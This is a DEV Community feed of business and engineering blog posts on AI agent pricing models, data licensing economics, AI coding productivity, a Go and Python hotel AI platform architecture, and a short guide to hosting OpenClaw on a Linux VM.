DEV Community: Prince Raj

Why mid‑market firms should pay per resolved ticket, not per seat

Prince Raj — Sat, 18 Jul 2026 17:21:04 +0000

Why mid‑market firms should pay per resolved ticket, not per seat

Most leaders still frame AI as "build vs buy." That framing misses the point in 2026. The surprising reality: for many mid‑market companies the right choice is not to build or to buy feature add‑ons from incumbent SaaS — it's to buy outcome‑priced vertical agents (per ticket, per matter, per encounter). This is counterintuitive because it asks you to trade a software subscription for a labor‑priced contract. The evidence shows that, when vendors own the workflow and charge per outcome, time‑to‑value shortens, integration costs fall, and ROI becomes visible.

The common assumption and why it fails

Leaders assume incumbents (Salesforce, ServiceNow, HubSpot) are the safe bet: they already run your workflows and can bolt AI features onto existing licenses. That seems lower risk than hiring engineers or trusting a niche vendor.

But three forces have flipped the economics. First, inference costs collapsed dramatically (a16z documents a fall from roughly $60/M output tokens in 2021 to ~$0.05–$0.10/M by late 2024), removing the model itself as a durable moat. Second, AI‑native products run materially lower gross margins (52–65% vs ~80–90% for classic SaaS per ICONIQ/Bessemer), and incumbents are passing those costs through via per‑seat hikes and caps — effectively a stealth margin tax. Third, vertical agents capture the labor dollars being displaced and can price outcomes, which aligns incentives and amortizes integration across many similar buyers.

A concrete contract example

Outcome‑priced agent contract (typical market shape):

Price: $X per resolved ticket (or $Y per matter / $Z per encounter).
KPIs: resolution accuracy ≥ 95% on agreed categories, <N% escalation rate to human, <T days to integrate with existing CRM/ERP.
Ramp: pilot converts to production with fixed onboarding fee amortized over first 6 months.

Why this beats a seat: imagine a support function where each resolved ticket costs $12 in labor. A vertical agent that charges $6–8 per resolved ticket turns labor line items into a predictable unit cost, with the vendor accountable for quality and throughput. Incumbent add‑ons, by contrast, often increase subscription spend and leave integration work and quality on your plate.

Short case sketches (numbers matter)

Sierra (support): outcome‑priced, hit ~$100M ARR in ~7 quarters. Fast ramp suggests customers are getting predictable ROI quickly.
Harvey (legal): outcome pricing for law firms, ~$300M ARR by Q2 2026 — buying by outcome maps directly to billable hours replaced.
Klarna (cautionary): initially claimed an OpenAI assistant replaced 700 agents and saved ~$40M/year, then rehired humans after CSAT dropped. Klarna later clarified the AI handles work equivalent to ~800 FTEs but with humans in the loop. This shows pure replacement narratives fail without workflow‑level accountability.

These examples show two things: vertical agents scale when their unit economics align with buyer labor economics, and pure tool installs fail when quality or workflows aren't owned end‑to‑end.

The mechanism that makes outcome pricing repeatable

Outcome pricing works repeatably when three capabilities are standardized:

Vertical integration adapters. Successful agents ship a suite of connectors and mapping logic for CRMs, ticketing systems, and document stores so integration is weeks, not months.
Vertical ontologies and templates. Agents reuse industry‑specific taxonomies (support intents, legal matter types, clinical encounter codes) so much of the training and routing is shared across customers.
Aggregated signal. Firms like Sierra and Harvey pool anonymized interaction data and distill it into shared improvements, which reduce per‑customer fine‑tuning costs and improve quality faster than isolated in‑house models.

These three forces let vendors keep onboarding costs low, meet SLA‑style guarantees, and therefore offer per‑outcome pricing that is attractive to mid‑market buyers.

When this is not the right move

Exceptions matter. If you have decades of proprietary transaction logs or regulated data that cannot leave premises (pharma R&D, certain fraud systems, clinical diagnostics), an internal build with private models can still win because no vendor can replicate your dataset. Also, highly regulated firms may need internal models for auditability and residency constraints.

Quick cost math to test a buying decision

Use three numbers to decide fast:

Your current labor cost per unit of outcome (e.g., labor per ticket).
Vendor outcome price.
One‑time integration fee amortized over 12 months.

If vendor price + amortized integration < current labor + marginal incumbent seat increase, outcome pricing wins. Note the break‑even scale math: in‑house projects often require $1.5M+ upfront and only break even above 100–200M tokens/day (DreamFactory); most mid‑market companies never reach that volume.

Honest caveats

The MIT NANDA finding that 95% of GenAI pilots delivered zero measurable P&L impact is based on public deployments, interviews, and surveys rather than a randomized trial — treat it as strong suggestive evidence, not a causal law. Some vertical agents are unproven at very large scale and their margins will compress as API and inference economics evolve. Finally, careful contracting and right‑sized SLAs are essential: outcome pricing transfers risk to the vendor, but buyers must verify data handling, compliance, and escalation terms.

What to do next

For CFOs and COOs at $50M–$1B firms: run a two‑week financial test. Calculate labor per outcome, get an outcome‑priced pilot quote from a vertical agent, and compare landed cost vs your incumbent add‑on (including expected seat increases and integration work). If the vendor meets KPIs and the math is favorable, outcome pricing will usually deliver faster payback.

Closing

The surprising truth for 2026: the real decision isn't build or buy — it's whom you buy outcomes from. For many mid‑market firms, paying per resolved ticket from a vertical agent will be cheaper, faster, and less risky than either building internally or buying AI add‑ons from incumbents.

Sources

MIT NANDA Project — The GenAI Divide: State of AI in Business 2025 Report: https://mlq.ai/media/quarterly_decks/v0.1_State_of_AI_in_Business_2025_Report.pdf
a16z — Welcome to LLMflation — LLM inference cost is going down fast: https://a16z.com/llmflation-llm-inference-cost/
DreamFactory Blog — The Hidden Cost of Building Your Own LLM Data Layer: https://blog.dreamfactory.com/hidden-cost-building-own-llm-data-layer

Why the synthetic-data escape hatch failed and how publishers became toll collectors

Prince Raj — Sat, 18 Jul 2026 17:10:08 +0000

The synthetic-data escape hatch failed: publishers became toll collectors in two years

The common belief in 2022–2023 was that web text was effectively free and that synthetic data or recursive self-training would let AI labs avoid paying publishers forever. That story is now incomplete. Evidence from the Shumailov et al. model-collapse result and Epoch AI's data-exhaustion projection shows the cheap substitute doesn’t work at scale, and the market shifted: publishers and platforms moved from being unpriced inputs to explicit revenue sources.

The old assumption and why it mattered

Between 2020 and 2023, frontier labs trained massive models on scraped web corpora with little legal or technical pushback. The business model treated high-quality human text as an abundant, zero-price input. If that stayed true, the durable advantage would be in compute and model engineering, not data access.

That assumption mattered because it let labs forecast training costs without a material content supply bill. If the bill reappeared, it would force a re-think of margins, pricing, and product strategy.

What the evidence actually shows

Two technical threads converged in 2024–2025 and changed the picture.

First, Shumailov et al. published a peer-reviewed result in Nature showing that training on model-generated outputs can cause irreversible distributional degradation — "model collapse" — which breaks the promise of endless synthetic substitution Shumailov et al., Nature. That finding has been widely cited and tested.

Second, Epoch AI quantified a practical limit: under recent scaling rates, high-quality human-generated public text could be exhausted between 2026 and 2032 Epoch AI. Put together, these results mean synthetic data can be useful for augmentation and targeted tasks (reasoning traces, codegen, math), but it cannot replace fresh human signal for broad pretraining without risking collapse.

The mechanism: why synthetic substitution stalls and creates rent

1) Labs trained on scraped human text for early gains.

2) As models began to generate the same kinds of text at scale, retraining on those outputs created feedback loops that degrade model distributions (Shumailov et al.).

3) At the same time, public human content is finite at current creation rates (Epoch AI). The marginal return to scraping more low-quality pages falls quickly.

4) That combination removed the easy escape route. Labs had to acquire fresh human data, and content owners gained bargaining power.

5) Market moves followed: multi-year licensing checks (OpenAI–News Corp reported at roughly $250M+ over five years by the Wall Street Journal), platform deals (Reuters reported Reddit–Google at ~$60M/yr), and a tracker of documented deals totalling ~$816.7M in 2024 Media and the Machine.

6) Litigation enforced a price floor: the Bartz v. Anthropic developments and subsequent $1.5B settlement made back-licenses and settlements a material cash risk for labs Copyright Alliance coverage.

7) Infrastructure hardened the new regime: Cloudflare's Pay-Per-Crawl introduced a per-request cost for bot access and rapid opt-ins by domains, turning scraping from a near-zero marginal activity into a metered service Cloudflare blog.

Second-order consequences: who wins and who loses

Winners

Publishers and platforms (News Corp, Reddit, Stack Overflow, Axel Springer): they converted previously unpaid content into a recurring revenue line. Reddit's filings and Q3 2025 results show a material "Other revenue" line tied to licensing and Premium that annualizes into hundreds of millions for the platform owner SEC filing and investor releases Reddit Q3 2025.
Infrastructure providers (Cloudflare) and litigation actors captured new revenue or fees from enforcing access controls and settlements.

Losers

Large AI labs that assumed zero content cost: training cost lines and settlement risk compress gross margins (OpenAI's reported ~40% gross margin in 2025 vs earlier 50%+ forecasts is consistent with rising COGS).
Individual creators: the people who produced the text that drives these models generally receive no compensation under current deals, raising ethical and regulatory tensions.

What operators should do now

For AI labs

Re-budget for data as a recurring cost and model different pricing or product tiering around higher content costs.
Use synthetic data selectively — for narrow fine-tuning and augmentation — but not as the sole route for broad pretraining.
Invest in consented data pipelines: partnerships, APIs, or direct creator compensation models that are legally sound and sustainable.

For publishers and platforms

Treat content as an asset: instrument crawls, enable metered access, and negotiate multi-year, enforceable deals. Cloudflare-style metering is now a practical tool.
Consider productizing data access (APIs, labeled feeds) to capture more of the downstream value rather than only raw licensing checks.

For product teams building on models

Expect variable input costs and design for resilience: caching, fewer retrains, and synthetic augmentation where safe.
Watch for regulatory shifts (ongoing cases like NYT v. OpenAI) and for market reactions to compensation models.

Honest caveats

The $816.7M figure comes from a third‑party tracker and not audited financials; true market size could be lower. Some synthetic-data use-cases remain viable, and the NYT litigation could swing outcomes in other directions.
Not all synthetic data is useless. Shumailov et al.'s results target recursive self-training; synthetic augmentation for targeted tasks (code, math, reasoning traces) can still be effective per the literature.

Closing

In short: the cheap-data story unraveled because of a technical limit (model collapse) and a practical limit (finite human text). That flip made content owners rent collectors overnight, forcing AI firms and publishers to renegotiate the basic economics of the field.

Sources

Shumailov et al., Nature — https://www.nature.com/articles/s41586-024-07566-y
Epoch AI — https://epoch.ai/publications/will-we-run-out-of-data-limits-of-llm-scaling-based-on-human-generated-data
Media and the Machine tracker — https://mediaandthemachine.substack.com/p/5-takeaways-from-the-ai-content-licensing
Cloudflare Pay-Per-Crawl — https://blog.cloudflare.com/introducing-pay-per-crawl/
Reddit S-1 filing — https://www.sec.gov/Archives/edgar/data/1713445/000162828024006294/reddits-1q423.htm
Reddit Q3 2025 results — https://investor.redditinc.com/news-events/news-releases/news-details/2025/Reddit-Announces-Third-Quarter-2025-Results/default.aspx
Wall Street Journal on News Corp–OpenAI deal — https://www.wsj.com/business/media/openai-news-corp-strike-deal-23f186ba
Reuters on Reddit–Google deal — https://www.reuters.com/technology/reddit-ai-content-licensing-deal-with-google-sources-say-2024-02-22/
Copyright Alliance coverage of Bartz/Bartz settlement — https://copyrightalliance.org/ai-copyright-lawsuit-developments-2025/

Why buying agent suites is both the ROI winner and the quiet threat to per‑seat SaaS

Prince Raj — Sat, 18 Jul 2026 08:36:46 +0000

Buying agent suites wins ROI — and it’s quietly eroding per-seat SaaS revenue

Most companies frame build vs buy as an engineering trade-off. That misses a sharper business fact: when buyers choose packaged agent suites they not only get to production faster — they also convert seat-based spend into usage/outcome fees, shrinking the unit economics that fueled legacy SaaS ARR.

This article explains why, with numbers and a simple CFO shortcut to estimate seat-risk.

The common belief and why it feels right

The usual take is: build if you need control and buy if you want speed. Analysts backed both sides with big headlines: MIT Project NANDA reported 95% of GenAI pilots produce no material return, while BCG highlights a 5% club capturing most gains. Those findings push leaders to question whether to invest in internal platforms or buy vendor agents.

Those studies are right about outcomes, but they also show a second-order effect people miss: the buy path ships production infrastructure that simultaneously replaces the seat-based work vendors historically monetized.

What the evidence actually shows (concrete datapoints)

MIT Project NANDA found strategic partnerships are roughly 2x more likely to succeed than internal builds, based on a review of 300+ initiatives and interviews.
Salesforce reported Agentforce reached $800M ARR and crossed ~9,500 paid deals within about 12 months of launch, and Salesforce disclosed approximately a 10% seat reduction per service agent enabled.
ServiceNow reported Now Assist net‑new ACV more than doubled YoY in Q4 FY25, with leadership crediting agentic AI and hyperscaler partnerships for production deployments.
River Group/Deloitte documented agentic deployments in banking producing 200–2,000% productivity gains for KYC/AML where agents are live — the kind of outcome that makes buyers pay for results, not logins.

Put together, these numbers show: packaged agents both deliver measurable ROI and reduce the human seat work they replace.

The mechanism: why buy wins production — and why that erodes seats

Internal builds commonly fail at the pilot‑to‑production boundary not because models are bad but because companies lack production systems: evaluation harnesses, continuous observability, governance and audit trails, retraining pipelines, ownership, and tight integrations with legacy services. Vendors ship those systems as part of an agent product.

When buyers select vendor agents, three things happen in sequence:

Faster production rollout → measurable outcomes (e.g., KYC productivity jumps).
Agents automate repeatable seat tasks (tier‑1 triage, SLA‑bounded summaries, routine approvals) that were the basis for seat licensing.
Buyers renegotiate pricing toward outcomes or usage (Gartner forecasts a shift), since they now pay for solved workflows rather than seats.

This is not hypothetical: Salesforce’s $800M Agentforce run‑rate and reported seat reductions show the sequence play out in public company numbers.

Who wins and who loses (second‑order consequences)

Winners:

Enterprises that need outcomes fast and buy vendor agents — they get production-grade systems and measurable ROI.
Vendors that can credibly sell outcome tiers and manage usage risk — they capture a share of newly structured spend.

Losers or at‑risk:

Per‑seat SaaS vendors whose core value prop is “one license per human doing tier‑1 work.” As agents replace those tasks, ARR measured in seats is exposed.
CFOs and investors who assume static ARR growth without modeling seat erosion.

Klarna’s public swing is instructive: its May 2025 update (after an earlier Feb 2024 claim) showed quality issues when cost was prioritized, prompting a partial rehiring. That underlines that seat erosion happens only when agents deliver acceptable quality.

A simple CFO shortcut to model seat erosion and outcome ARR

To have a defensible scenario quickly, use this three‑line model:

Identify candidate seat pool: count seat types doing repeatable tasks (customer support tier‑1, claims intake, basic approvals). Often 30–60% of a contact center’s seats fall here.
Apply an adoption ramp: use vendor data or public signals. For packaged agents, use a conservative 20–40% adoption in year 1, 50–70% by year 3 in aggressive cases. Salesforce and ServiceNow signals suggest early adopters can hit material adoption within 12 months.
Convert seats to outcome ARR: multiply displaced seats × current annual seat price × retention risk. Then model a replacement rate where X% of that displaced seat revenue becomes usage/outcome fees (start with 20–50% conversion in year 1, rising as buyers accept outcome pricing).

Example: a 1,000‑seat support org paying $6k/seat/year. If 30% of seats are automatable and packaged agents capture 30% adoption in year 1: displaced seats = 90. At $6k that’s $540k of seat ARR at risk. If 40% converts to usage fees the vendor can re‑capture $216k as outcome ARR in year 1; net seat ARR loss = $324k. Scale that logic across customers to stress test vendor guidance.

What to do next (practical steps)

CIOs: map seat types by repeatability and SLA; run one vendor pilot that measures both FTE reduction and contract repricing clauses.
CFOs: add a seat‑risk line into ARR sensitivity tests and ask sales teams how much of displaced seat ARR converts to usage revenue in existing deals.
Vendor product leaders: offer outcome tiers but price to cover usage tail risk and maintain upgrade paths for non‑automatable, high‑quality work.

Honest caveats

Not every seat is at risk. Complex, emotionally charged, or tightly regulated interactions (Klarna’s customer‑experience reversal shows this) still need humans or human oversight. Also, some studies (BCG, MIT) have selection biases; fast adopters self‑report outsized gains. The point is not inevitability — it’s a measurable commercial vector that should be in financial models now.

Closing

Buying packaged agents is commonly the quickest path to production and measurable ROI. The same choice is also the mechanism shifting value away from per‑seat licensing toward usage/outcome pricing — a shift CFOs, product teams, and investors should model explicitly.

Sources

MIT Media Lab — Project NANDA: State of AI in Business 2025 — https://mlq.ai/media/quarterly_decks/v0.1_State_of_AI_in_Business_2025_Report.pdf
River Group / Deloitte: The Pilot-to-Production Gap That's Costing Billions — https://rivergroup.ai/insights/the-pilot-to-production-gap
Salesforce Q3 FY26 Earnings Release (Dec 3, 2025) — https://www.salesforce.com/news/press-releases/2025/12/03/fy26-q3-earnings/

How AI coding tools cut the real cost of shipping software features

Prince Raj — Sat, 18 Jul 2026 07:59:04 +0000

How AI coding tools cut the real cost of shipping software features

AI coding assistants are changing a simple economic fact of product development: feature delivery is mostly developer time. When tools reduce the time and error rate for routine engineering work, that directly lowers the cost of shipping features. This article explains what changed, why it matters for businesses, and concrete steps teams can take — with real numbers and vendor examples.

What changed: tools that speed common engineering work

Generative AI and coding agents now handle many repetitive parts of a developer's job: generating boilerplate, refactoring, writing tests, and producing documentation. Reports and studies show developers using these tools complete tasks 20–50% faster on average, and in some cases up to 100% faster for specific workflows. GitHub’s enterprise research with Accenture and other vendor studies show pair-programmer style tools can make individual coding sessions substantially quicker.

Those gains come from two simple mechanisms: less manual typing for routine code, and fewer context switches because the tool holds knowledge (APIs, patterns, tests) for the developer.

Why speed translates into lower feature cost

The math is straightforward. If a feature requires N developer-hours today, and AI reduces those hours by 20–30%, the direct labor cost for that feature drops by the same proportion. Case studies report cost reductions of 15–30% across projects once tools are adopted and workflows adjusted.

Beyond direct time savings there are second-order effects:

Fewer bugs and clearer tests reduce rework, which otherwise inflates delivery time.
Improved developer confidence speeds reviews and approvals.
Faster iteration allows earlier validation of product ideas, lowering the cost of failed bets.

At enterprise scale, these effects compound. TELUS, for example, reported saving over 500,000 hours and more than $90M in benefits after rolling out a GenAI platform, with reported code productivity increasing about 30%.

How this changes business outcomes for product teams

Product managers and engineering leaders feel the difference in three ways:

Faster time-to-market: smaller cycle times let teams launch features more frequently and respond quicker to customers.
Lower marginal cost per feature: with fewer developer-hours per feature, the same budget buys more scope or lets teams reallocate engineers to higher-value work.
Better throughput for experimentation: when creating an MVP or A/B test costs less, teams can run more experiments and learn faster.

Those shifts lead to measurable financial outcomes: many implementations report payback periods between 6 and 18 months and enterprise-level EBIT impacts in some organizations.

What to do next: practical steps for converting tool gains into business value

Start with a measurable pilot. Pick a team and a set of feature types (e.g., internal tools, customer-facing APIs) and measure baseline developer-hours, lead time, and defect rates.
Choose tooling for the workflow. Try a few patterns: AI pair programmers for individual productivity (e.g., Copilot), coding agents for build-and-fix flows (e.g., Cursor), or an enterprise GenAI platform where governance and integration matter.
Track outcomes that matter to the business: hours per feature, cycle time, production defects, and time to validate an experiment.
Invest in change management. Successful rollouts report meaningful adoption costs — industry benchmarks note that change management can be several times the technology cost, so budget for training, integration, and process changes.
Reinvest time saved into high-value work. The biggest business wins come when teams use freed-up time to build differentiating features or run more product experiments, not just to increase velocity on the same backlog.

Caveats and limits

Not every task sees a 50–100% gain; results vary by activity. Routine code and tests benefit most, novel architecture work less so.
ROI depends on adoption. Tools by themselves don’t deliver value — teams must change how they work. Alice Labs’ ROI benchmarks and case studies show rapid payback when adoption is high, but lower returns when usage is shallow.
Governance, security, and IP considerations matter for enterprises. Enterprise platforms reduce risk but require extra integration effort.

Closing: what to expect in the next 12–24 months

Expect productivity gains to become part of how engineering organizations budget and plan. As tools improve, the cost per shipped feature will likely decline enough that companies can either reduce headcount for the same scope or accelerate product roadmaps without proportional cost increases. The practical win is not just faster code, it’s the ability to run more experiments and build features that move the business.

If you’re planning a pilot, measure developer-hours and defect rates before and after — those two numbers will show whether the investment turned into faster, cheaper feature delivery.

Sources

McKinsey & Company — Unleashing developer productivity with generative AI: http://mckinsey.com/capabilities/tech-and-ai/our-insights/unleashing-developer-productivity-with-generative-ai
GitHub Blog — Research: Quantifying GitHub Copilot's impact in the enterprise with Accenture: http://github.blog/news-insights/research/research-quantifying-github-copilots-impact-in-the-enterprise-with-accenture
Alice Labs AI — AI automation ROI benchmark 2026: http://alicelabs.ai/reports/ai-automation-roi-benchmark-2026

How I Built a Hotel AI Platform in Go (And Every Honest Technical Debt We're Carrying)

Prince Raj — Thu, 04 Jun 2026 12:57:23 +0000

Building Stayzr meant solving real problems: PMS integration, high-throughput webhook handling, and AI that actually knows your property. Here's how we architected it.

The Stack (What's Running in Production)

Backend: Go 1.23 with Fiber framework, pgx/v5 connection pooling, Bun ORM over PostgreSQL, Redis for caching/sessions, OpenTelemetry for tracing

AI Agents Service: Python 3.11 + FastAPI (Uvicorn), LangChain primitives, Qdrant for knowledge base, ChromaDB for conversation memory

Frontend: Next.js 15 / React admin UI + marketing site

3rd-party Integrations: Mews (PMS), WhatsApp Business/Meta, Resend + Postmark (email), Azure Blob Storage (files), Gemini + OpenAI (LLM + embeddings), Infisical (secrets), SigNoz + Oneuptime (observability)

It's a polyglot monorepo: Go where throughput and concurrency matter (API, dispatch, sync), Python where the LLM/RAG ecosystem lives.

Why Go Over Python/Node/Java?

For the parts handling concurrent I/O — PMS sync workers, email dispatch worker, webhook fan-in — Go's goroutines + channels let us run in-process worker pools without pulling in a broker or heavyweight async runtime.

The dispatch worker is a for{ select } loop over a ticker and wake channel — simple and effective for our use case.

We kept Python only for the agents service because that's where LangChain, Gemini/OpenAI SDKs, and vector-store clients live. The honest answer: Go for systems work, Python where AI tooling requires it.

Multi-Tenancy: Row-Level Isolation

Shared database, shared schema, row-level isolation by organizationId. Every tenant-scoped table carries an organizationId, with a TenantDB wrapper in the data layer that auto-appends organization_id = $N to queries.

Middleware (MultiTenantContext / RequireTenant) resolves the org from the X-Organization-ID header, query param, cookie, or JWT claim. Below org we scope further by propertyId (a hotel can have multiple properties).

The AI memory store enforces the same boundary differently — every guest's conversation memory lives in a collection keyed org:{orgId}:guest:{guestId}, with redundant guestId metadata filter as defense-in-depth.

PMS Integration: The Hardest Part

We currently integrate with Mews, a modern cloud-based PMS. The architecture is built to support multiple providers (Opera, Cloudbeds scaffolding exists).

The Architecture Supports Multiple Providers

There's a generic Transformer[TLocal, TRemote] interface for bidirectional mapping (remote ↔ local model) with conflict-resolution strategies: REMOTE_WINS, LOCAL_WINS, MERGE_FIELDS, MANUAL_REVIEW.

Provider capabilities (API versions, base URLs, auth methods, supported entities, field mappings, rate limits, retry policy, webhook support) live in a pms_provider_configs table as JSONB. Adding a provider is "insert a row + implement the client."

Mews is interesting because it's REST but POST-only, with credentials in every request body rather than headers, and separate gross-pricing/net-pricing tokens.

The Real Challenge: Bidirectional Sync

Getting sync working wasn't hard because of HTTP. It was hard because of identity reconciliation and bidirectional sync without clobbering local edits.

We keep a pms_entity_mappings table translating local IDs ↔ Mews external IDs per entity type. The sync orchestrator diffs incoming records against local state, skips writes when there are no real changes, and routes genuine conflicts through the resolution strategy.

Getting "don't overwrite a staff member's local correction with stale remote data" right is the part that requires careful engineering.

Rate Limits, Downtime, Slow Responses

Three layers:

Token-bucket rate limiter in the Mews client (≈200 requests / 30s). Requests block on the bucket rather than getting 429'd.
Retry with exponential backoff + jitter (1s, 2s, 4s…) on 429/500/502/503/504, capped at 3 attempts.
Durable sync queue (pms_sync_queue table) processed by polling worker. Failed items record attempt count, last error, and nextRetryAt, then retry later — so outages degrade to delayed sync, not lost sync.

Caching PMS Data

PMS data (guests, reservations, rooms) is synced into PostgreSQL and read from there — Postgres acts as the cache. Redis is for auth/permissions/session and rate-limit counters (5–15 min TTL).

Invalidation is event-driven: Mews webhooks (Reservation.Updated, Customer.Updated, Message.Added) enqueue re-sync of affected entities. No classic cache-invalidation race because there's no separate cache tier.

Webhooks: Ack-Fast, Process-Async

How We Handle Inbound Webhooks

WhatsApp/Meta: Handled in Go backend, verified via X-Hub-Signature-256 (HMAC-SHA256). Resolve business number → reconcile guest by phone → find-or-create conversation → store message → hand off async.
Email (campaigns): Resend webhooks (Svix-style signatures) and Postmark webhooks for delivery, open, bounce, complaint, inbound replies.
PMS: Mews webhooks at POST /webhooks/pms/mews/{integrationId}, HMAC-SHA256 validated, processed async after immediate 200.

Every webhook: verify signature → ack fast → process in goroutine.

Throughput Architecture

The intake path is cheap: verify + persist + return 200, then process out-of-band. WhatsApp processing fans out to goroutines; PMS work lands in a durable queue draining at controlled rate.

A spike becomes a deeper queue, not dropped messages or webhook timeouts. The architecture is built for throughput bounded by downstream workers, not webhook handling.

Message Queue Strategy

We use Go goroutines + worker pools for fan-out and a Postgres-backed queue table (pms_sync_queue, dispatch batches) where durability across restarts matters.

Postgres-as-a-queue gives us:

Transactional enqueue
Visibility into stuck jobs via plain SQL
Zero new infra to operate

When a single Postgres queue stops keeping up, that's the signal to introduce a real broker.

Message Persistence

For durable paths, queue rows track state: PENDING → PROCESSING → COMPLETED/FAILED with attempt counts and nextRetryAt. A crash mid-process leaves a retryable row.

Email dispatch uses idempotency keys (batchID:contactID) so retries can't double-send.

AI Concierge: API-Based, Multi-Provider, Custom ReAct

How It Works

API-based, multi-provider. Default LLM is Gemini (gemini-2.0-flash-exp), with OpenAI, DeepSeek, Azure OpenAI selectable via LLM factory.

It's a custom ReAct loop with router + specialist agents. Router LLM classifies guest intent, delegates to one of five specialists:

Booking
Services
Property Info
Atlas/knowledge
Catch-all Concierge

Each specialist runs bounded ReAct loop (3–4 turns), binding tools and executing against Go backend over HTTP.

How AI Knows Property-Specific Info

RAG over Qdrant. Each property's documents (CSVs, text, markdown) are chunked, embedded with OpenAI text-embedding-3-small (1536-dim), stored in stayzr_knowledge collection with payload indexes on organizationId, propertyId, category, fileName.

Retrieval scoped to property (exact propertyId OR org-wide docs with null property). Query enrichment anchors vague questions ("what's nearby?") to property's actual city before embedding. Multi-pass search (strict threshold 0.3 → relaxed 0.15 → top-k fallback) ensures near-misses still return results.

Results carry matchTier tag so downstream logic knows trust level.

Escalation When AI Doesn't Know

Explicit escalation score sums signals:

Urgent/frustrated/negative sentiment
All-tools-failed
Low confidence (<0.4)
Explicit "I want human/manager" requests

Score ≥0.7 → escalate, 0.3–0.7 → monitor, else none.

On hard failure, specialist returns human-handoff line rather than hallucinating. Anti-hallucination guardrails detect ungrounded details. Duplicate-reply suppressor won't let bot parrot same answer twice without new tool result.

Prompt Engineering Only

100% prompt engineering — no fine-tuning. Every prompt is a builder function (buildRouterPrompt, buildBookingPrompt) injecting dynamic context: property basics, amenities, policies, local time, recent guest memory, active booking state.

For multi-tenant product where every property's facts differ, RAG + structured prompts beats fine-tuning.

Scalability & Performance

Current Architecture

Go services are mostly stateless (state in Postgres/Redis), so horizontal scaling is available (run N backend processes behind Nginx). Today we're vertically scaled with queue-absorbs-spike behavior.

Caching Strategy

Redis for:

Org data (5 min TTL)
User permissions (15 min)
Session validation (5 min)
Sliding-window rate-limit counters (1 min)

Pool sized at 100 connections. PMS/business data in Postgres, not Redis-cached.

WhatsApp Rate Limiting

We use token-bucket limiter pattern (already in codebase for Mews client) that paces requests. Per-minute global rate limit (default 60 RPM) on email dispatch worker. Same pattern, different ceiling, when volume justifies it.

Observability

OpenTelemetry end-to-end. OTel collector ships traces/logs to SigNoz and Oneuptime (dual export).

Prometheus scrapes node/postgres/redis/nginx/cadvisor every 15s with Alertmanager rules. Blackbox exporter probes public health endpoints (api.stayzr.com/health, marketing site, admin).

Go backend instrumented with OTel SDK + OTLP HTTP exporter. Structured logging (zap in Go) into OTel/SigNoz pipeline, PM2 log files parsed by collector's filelog receiver.

Security & Privacy

Webhook Authentication

Every inbound webhook signature-verified:

WhatsApp/Meta via X-Hub-Signature-256 (HMAC-SHA256)
Mews via HMAC-SHA256
Resend via Svix-style HMAC over id.timestamp.body
Postmark via server token/signature
Agents service via X-Agent-Signature HMAC + agent-ID allowlist

No unauthenticated webhook endpoints.

Encryption

In transit: TLS 1.2/1.3 everywhere via Nginx + Let's Encrypt, strong cipher suites, HSTS.

At rest: Disk/storage-level encryption. Application-level encryption for OAuth tokens via secure token codec.

PCI Scope

We don't store card data. Payment provider configs exist (Stripe, Razorpay) — integration model lets processor handle cards, staying out of PCI scope by never touching PANs.

Lessons Learned

Biggest Technical Wins

Postgres-as-a-queue works — until it doesn't. When it stops keeping up, that's when you introduce RabbitMQ/Kafka. Not before.
PMS APIs are idiosyncratic — they're not clean REST. POST-only, body-auth, partial webhooks, different data models. Build for reconciliation and conflict from start.
AI latency is hundreds of ms to seconds — if calling external LLM + RAG + tool calls, optimize for correctness, not fake speed claims.
Documentation matters — keep README aligned with actual stack. Documentation debt is invisible until someone reads it and the map doesn't match territory.

What Works Well

Goroutines for I/O-bound work — in-process worker pools without external broker
RAG + structured prompts — beats fine-tuning for multi-tenant with different property facts
Event-driven invalidation — webhooks trigger re-sync, no cache-invalidation races
Idempotency keys — prevent double-send on retries

What's Next

PMS Integrations

Opera and Cloudbeds next (config scaffolding exists), with service-layer abstraction making second provider straightforward.

AI Features

Multilingual partially real — locale handling in agent runtime, migrations canonicalizing guest languages. The agent runtime's tool-using design makes additional modalities feasible.

Scale

The architecture supports horizontal scaling (stateless Go services, state in Postgres/Redis). The next infrastructure investment is adding redundancy as we scale beyond current design partners.

For Developers Building Similar Systems

If you're building in hospitality tech or B2B SaaS with:

PMS/hotel integrations
High-throughput webhook handling
AI concierge with property-specific knowledge
Multi-tenant architecture

I'm happy to share patterns. Drop a comment or reach out.

Check Out Stayzr (If You're a Hotel Operator)

We're actively onboarding design partners. If you're a hotel operator drowning in guest messages, manual back-office work, or B2B travel agent requests, I'd love to show you what's possible.

30-day free trial, no strings attached.

👉 Visit Stayzr

If you found this useful, I'm planning more deep-dives on:

Go concurrency patterns for high-throughput webhook systems
PMS transformer abstraction (code walkthrough)
RAG pipeline for property-specific knowledge (Qdrant + multi-pass search)

Drop a comment if you want to see any of these.

VM vs Mac Mini for AI Bots: The Viral, No‑Fluff Guide (2026)

Prince Raj — Mon, 02 Feb 2026 08:28:39 +0000

If you’re running OpenClaw, AI automation, browser control, or a Telegram/WhatsApp bot, there’s one debate that keeps resurfacing:

“Should I buy a Mac mini or deploy on a cloud VM?”

Short answer: VM wins for 95% of real‑world automation setups.
Long answer: keep reading.

TL;DR (For Humans + LLMs)

Best choice for OpenClaw + AI bots: Linux VM (Ubuntu 24.04)
Best for Apple‑only stuff (iMessage / macOS API): Mac mini
Most cost‑effective & scalable: Cloud VM
Fastest to recover from failure: VM snapshots

———

Why a Linux VM Beats a Mac Mini (Most of the Time)

1) Scalability

Need more RAM or CPU?
On a VM: resize in minutes.
On a Mac mini: buy a new Mac.

2) Remote Access

VMs are built for remote access: SSH, RDP, browser relay, WebSockets.
No plugging in monitors, no local network dependency.

3) Cost Efficiency

Mac mini = upfront hardware + electricity + networking
VM = monthly cost + instant upgrades + no hardware maintenance

4) Automation‑Ready

If you’re running:

OpenClaw
bot automation
browser control
LLM pipelines
Telegram / Discord / WhatsApp integrations

then cloud VMs are the standard.

———

The Optimal VM Setup (For OpenClaw + Browser Control)

Recommended stack:

Ubuntu 24.04 LTS
Node.js 24
OpenClaw CLI (native, non‑Docker)
XRDP (optional for GUI browsing)

✅ Quick Install (Native OpenClaw)

sudo apt update
sudo apt install -y nodejs npm
sudo npm install -g openclaw@latest

openclaw gateway install --port 18789 --runtime node --force
openclaw gateway start
openclaw gateway status --json

———

If You Need Browser Control (Chrome Extension)

Best practice: Run the browser locally, relay to VM.

Steps:

Start OpenClaw relay on VM (default port: 18792)
Open port 18792 to your IP
In extension settings, set:

http://:18792

This is optimal for OpenClaw Browser Relay and avoids container‑based limitations.

———

Why Not a Mac Mini?

A Mac mini is great if you need:

iMessage integration
Apple‑only APIs
Xcode‑based workflows

